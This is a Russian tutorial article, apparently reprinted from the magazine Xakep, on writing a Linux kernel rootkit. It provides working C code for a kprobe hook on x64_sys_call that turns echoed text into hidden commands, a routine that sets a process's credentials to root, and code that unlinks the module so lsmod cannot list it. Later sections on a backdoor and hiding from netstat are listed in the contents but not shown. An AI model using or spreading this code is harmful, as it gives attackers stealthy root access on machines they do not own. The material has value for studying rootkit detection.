Шпион среди пингвинов. Пишем собственный руткит для Linux

Содержание статьи

  • Патч, мешающий жить
  • Kprobes всему голова
  • Перехватываем x64_sys_call
  • Повышаем привилегии и удаляем себя из списка загруженных модулей
  • Увеличиваем счетчик ссылок на модуль
  • Реализуем бэкдор и прячемся от netstat
  • Бэкдор
  • Netstat
  • Как еще улучшить руткит?

Рут­киты для Linux извес­тны уже доволь­но дав­но, они отли­чают­ся высокой изощ­ренностью архи­тек­туры, спо­соб­ны эффектив­но перех­ватывать сис­темные вызовы и мас­кировать свое при­сутс­твие в сис­теме. Сегод­ня мы попыта­емся написать собс­твен­ный Linux-рут­кит, что­бы на его при­мере изу­чить клю­чевые механиз­мы работы таких вре­донос­ных прог­рамм.

Не­дав­но я нат­кнул­ся на но­вость, опуб­ликован­ную в жур­нале «Хакер», где говори­лось, что обна­ружен новый Linux-рут­кит Pumakit. С ядром ОС Linux я никог­да ранее не стал­кивал­ся, и идея разоб­рать­ся в нем бук­валь­но пог­лотила меня. В статье я попыта­юсь опи­сать осо­бен­ности, которые мне уда­лось выявить при написа­нии собс­твен­ного рут­кита под сов­ремен­ные ядра Linux вер­сий 5.x и 6.x (x86_64).

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

 

Патч, мешающий жить

Ког­да я иссле­довал рут­киты для Linux, то неод­нократ­но посещал GitHub в поис­ках подоб­ных прог­рамм, что­бы при­мер­но понимать их струк­туру и фун­кци­ональ­ные воз­можнос­ти. И вот что мне бро­салось в гла­за: прак­тичес­ки во всех реали­заци­ях рут­китов исполь­зует­ся метод перех­вата syscall’ов путем переза­писи таб­лицы сис­темных вызовов sys_call_table.

Ус­тарев­ший метод перех­вата syscall’ов

Од­нако с недав­него вре­мени этот метод боль­ше не работа­ет, пос­коль­ку сооб­щес­тво Linux-раз­работ­чиков вы­кати­ло патч, при котором упо­мяну­тая таб­лица не исполь­зует­ся:

 

Kprobes всему голова

Яд­ро Linux напич­кано не толь­ко вся­кими жиз­нетво­рящи­ми вещами, оно так­же име­ет в сво­ем арсе­нале механиз­мы отладки, которые под­держи­вают­ся из ядра в ядро. С вер­сии 2.6.9 в Linux kernel появил­ся kprobes. Kprobes — это средс­тво динами­чес­кой отладки ядра, поз­воля­ющее ста­вить breakpoints на дос­тупные для записи учас­тки памяти и самос­тоятель­но обра­баты­вать их.

Прин­цип работы kprobes

Син­таксис механиз­ма отладки доволь­но прос­той:

// Структура kprobe описана в файле include/linux/kprobes.hstatic struct kprobe un = { // Место, куда мы будем ставить бряк (экспортированный ядром символ) .symbol_name = "kernel_clone", // Обработчик бряка .pre_handler = intercept,};static int __init init(void) {// Регистрируем «пробу»register_kprobe(&un);...}static void __exit bye(void) {// Удаляем «пробу»unregister_kprobe(&un);...}

Кста­ти, пос­мотреть, экспор­тирован ядром сим­вол или нет, мож­но, про­читав файл kallsyms:

cat /proc/kallsyms | grep "имя символа" 

Перехватываем x64_sys_call

По­пуляр­ный рут­кит diamorphine для обще­ния с поль­зовате­лем исполь­зует перех­вачен­ный syscall — kill. Одна­ко для это­го он ста­вит хук на sys_call_table, что уже неак­туаль­но. Как же тог­да отсле­живать сис­темные вызовы? Ответ прост: перех­ват x64_sys_call.

Все дело в том, что x64_sys_call учас­тву­ет при вызове любого «сис­кола». Это некая обер­тка над каж­дым сис­темным вызовом, под­клю­чающая мак­росы, в качес­тве которых реали­зова­ны сис­темные вызовы.

// regs — аргументы системного вызова// nr — номер системного вызоваlong x64_sys_call(const struct pt_regs *regs, unsigned int nr){ switch (nr) { // Здесь находятся системные вызовы в качестве макросов вида SYSCALL_DEFINEX(name, args...), // где X — количество аргументов в syscall’e #include <asm/syscalls_64.h> default: return __x64_sys_ni_syscall(regs); }};

Важ­но отме­тить, что x64_sys_call так­же экспор­тирова­на ядром.

Про­вер­ка сим­вола x64_sys_call на экспорт

От­лично, теперь оста­лось исполь­зовать это для орга­низа­ции обще­ния с поль­зовате­лем. Прис­мотрим­ся к коман­де echo.

Ре­зуль­тат трас­сиров­ки коман­ды echo

Echo исполь­зует в сво­ей работе write — как раз то, что нам и нуж­но. Подыто­жив ска­зан­ное, напишем обра­бот­чик команд поль­зовате­ля:

// Идентификатор команды, которую будет отлавливать обработчик команд#define ROOT "wanna_root"// Наша пробаstatic struct kprobe un = { .symbol_name = "x64_sys_call", // Обработчик .pre_handler = intercept,};static int intercept(struct kprobe *p, struct pt_regs *regs) { // Проверяем номер системного вызова, передаваемый в x64_sys_call if (regs->si == __NR_write){ // Сохраняем параметры, передаваемые вместе с write struct pt_regs *pRegs = (struct pt_regs*)regs->di; // Если текст, переданный в echo, совпадает с именем команды, то обрабатываем ее if (!strncmp( (const char*)(pRegs->si) , ROOT ,10)) {...Функция, выполняемая при загрузке модуляstatic int __init init(void) {...int err; err = register_kprobe(&un); if (err < 0) { pr_err("Failed to register kprobe, error: %dn", err); return err; }...}

Здесь нам не нуж­но исполь­зовать copy_from_user, пос­коль­ку информа­ция уже находит­ся в режиме ядра.

 

Повышаем привилегии и удаляем себя из списка загруженных модулей

Все сис­темные вызовы осу­щест­вля­ются в кон­тек­сте про­цес­са, то есть мы можем получить дос­туп к памяти, окру­жению про­цес­са в момент выпол­нения syscall’a. Каж­дый про­цесс оли­цет­воря­ется в ядре струк­турой struct task_struct, которая име­ет доволь­но вну­шитель­ный раз­мер. Внут­ри этой струк­туры есть поле, отве­чающее за при­виле­гии про­цес­са, к которо­му мы можем обра­тить­ся.

По­ля, отве­чающие за при­виле­гии про­цес­са

Пос­коль­ку мы находим­ся в режиме ядра, то осо­бых проб­лем с повыше­нием при­виле­гий не име­ем. Дос­таточ­но прос­то заменить эту струк­турку сво­ей, и вуаля!

static int root_func(void){ struct cred *newcreds; // Инициализация структуры newcreds = prepare_creds(); if (newcreds == NULL){ pr_alert("can't prepare credsn"); return 1; } // Выдаем себе рут newcreds->uid.val = newcreds->gid.val = 0; // euid и egid — «эффективные» привилегии, то есть привилегии запущенного процесса newcreds->euid.val = newcreds->egid.val = 0; newcreds->suid.val = newcreds->sgid.val = 0; newcreds->fsuid.val = newcreds->fsgid.val = 0; // Вносим свои изменения commit_creds(newcreds); return 0;} info

Что­бы избе­жать кон­флик­та, при раз­работ­ке ядер­ных модулей сле­дует опи­сывать все свои фун­кции и гло­баль­ные перемен­ные с прис­тавкой static. Это необ­ходимо, пос­коль­ку ядро экспор­тиру­ет все сим­волы в гло­баль­ную область видимос­ти и поль­зователь может выз­вать сво­им неак­курат­ным поведе­нием кон­фликт имен.

Что каса­ется само­уда­ления из спис­ка заг­ружен­ных модулей — дело нес­коль­ких стро­чек кода. Наш рут­кит пред­став­ляет собой kernel object file, который так­же пред­став­лен сво­ей струк­турой в памяти ядра. Мы прос­то уда­ляем себя из связ­ного спис­ка заг­ружен­ных модулей:

// Прячемся от команды lsmod — команды, выводящей все загруженные в память модулиstatic inline void hide_func(void){ // THIS_MODULE — глобальный макрос, позволяющий обратиться к структуре своего модуля // Поле list — связный список загруженных в память ядра модулей module_previous = THIS_MODULE->list.prev; // unlink module_previous->next = THIS_MODULE->list.next; hidden=1;}// Возвращаемся в стройstatic inline void show_func(void){ // Нужно, чтобы не словить segfault if (module_previous !=NULL && hidden==1){ module_previous->next = &THIS_MODULE->list; hidden=0; }}

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *